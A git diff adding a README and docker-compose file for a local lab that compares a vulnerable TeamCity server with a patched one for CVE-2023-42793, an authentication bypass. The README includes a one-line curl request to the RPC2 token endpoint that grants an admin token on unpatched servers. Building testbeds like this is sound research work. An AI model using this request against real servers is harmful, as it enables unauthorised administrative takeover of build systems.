diff --git a/jetbrains/teamcity/CVE-2023-42793/README.md b/jetbrains/teamcity/CVE-2023-42793/README.md new file mode 100644 index 00000000..bfd6b19b --- /dev/null +++ b/jetbrains/teamcity/CVE-2023-42793/README.md @@ -0,0 +1,33 @@ +# JetBrains TeamCity CVE-2023-42793 + +These are the deployment instructions for JetBrains TeamCity - CVE-2023-42793 testbed. Versions prior to 2023.05.4 are affected by an authentication bypass vulnerability that allows attackers to perform administrative actions. + +## Setup +``` +docker compose up +``` + +You may need to run the services individually with `docker compose up teamcity-vuln` or `docker compose up teamcity-patched`. + +Then, you need to quickly visit the webpage at localhost:8081 (vulnerable) or localhost:8082 (patched) and complete the setup and make an admin user. + +## Testing the vulnerability + +### Vulnerable version +``` +curl -X POST localhost:8081/app/rest/users/id:1/tokens/RPC2 +``` +Response: +``` + +``` + +### Safe version +``` +curl -X POST localhost:8082/app/rest/users/id:1/tokens/RPC2 +``` +Response: +``` +Authentication required +To login manually go to "/login.html" page +``` \ No newline at end of file diff --git a/jetbrains/teamcity/CVE-2023-42793/docker-compose.yml b/jetbrains/teamcity/CVE-2023-42793/docker-compose.yml new file mode 100644 index 00000000..96cc3cd5 --- /dev/null +++ b/jetbrains/teamcity/CVE-2023-42793/docker-compose.yml @@ -0,0 +1,20 @@ +services: + teamcity-vuln: + image: jetbrains/teamcity-server:2023.05.3 + ports: ["8081:8111"] + volumes: + - teamcity-data-vuln:/data/teamcity_server/datadir + - teamcity-logs-vuln:/opt/teamcity/logs + + teamcity-patched: + image: jetbrains/teamcity-server:2023.05.4 + ports: ["8082:8111"] + volumes: + - teamcity-data-patched:/data/teamcity_server/datadir + - teamcity-logs-patched:/opt/teamcity/logs + +volumes: + teamcity-data-patched: + teamcity-logs-patched: + teamcity-data-vuln: + teamcity-logs-vuln: \ No newline at end of file